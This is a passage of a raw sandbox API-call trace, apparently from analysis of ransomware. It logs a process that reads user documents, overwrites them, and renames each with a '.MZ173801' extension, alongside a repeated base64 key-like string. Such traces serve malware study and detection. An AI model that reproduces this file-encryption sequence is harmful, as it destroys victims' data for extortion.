EQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CezH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cezh.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.489] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.489] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.489] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xe75 [0124.489] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.489] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe75, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xe75, lpOverlapped=0x0) returned 1 [0124.490] CloseHandle (hObject=0x288) returned 1 [0124.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CezH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cezh.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.491] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe75, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xe75, lpOverlapped=0x0) returned 1 [0124.492] CloseHandle (hObject=0x288) returned 1 [0124.493] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CezH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cezh.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CezH.rtf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cezh.rtf.mz173801")) returned 1 [0124.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cpu4Mje4zMg_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cpu4mje4zmg_.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f51ce0, ftCreationTime.dwHighDateTime=0x1d5c044, ftLastAccessTime.dwLowDateTime=0x6f8f01d0, ftLastAccessTime.dwHighDateTime=0x1d5c8d5, ftLastWriteTime.dwLowDateTime=0x6f8f01d0, ftLastWriteTime.dwHighDateTime=0x1d5c8d5, nFileSizeHigh=0x0, nFileSizeLow=0x109fd)) returned 1 [0124.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cpu4Mje4zMg_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cpu4mje4zmg_.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.497] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.497] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.497] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x109fd [0124.497] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.497] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x109fd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x109fd, lpOverlapped=0x0) returned 1 [0124.498] CloseHandle (hObject=0x288) returned 1 [0124.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cpu4Mje4zMg_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cpu4mje4zmg_.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.501] WriteFile (in: hFile=0x288, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x109fd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f99c*=0x109fd, lpOverlapped=0x0) returned 1 [0124.503] CloseHandle (hObject=0x288) returned 1 [0124.505] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cpu4Mje4zMg_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cpu4mje4zmg_.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cpu4Mje4zMg_.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cpu4mje4zmg_.docx.mz173801")) returned 1 [0124.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dO Q3c1HB9zkLz M.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\do q3c1hb9zklz m.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x361413b0, ftCreationTime.dwHighDateTime=0x1d5ce3d, ftLastAccessTime.dwLowDateTime=0x87ef21c0, ftLastAccessTime.dwHighDateTime=0x1d5b4d4, ftLastWriteTime.dwLowDateTime=0x87ef21c0, ftLastWriteTime.dwHighDateTime=0x1d5b4d4, nFileSizeHigh=0x0, nFileSizeLow=0x18e25)) returned 1 [0124.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 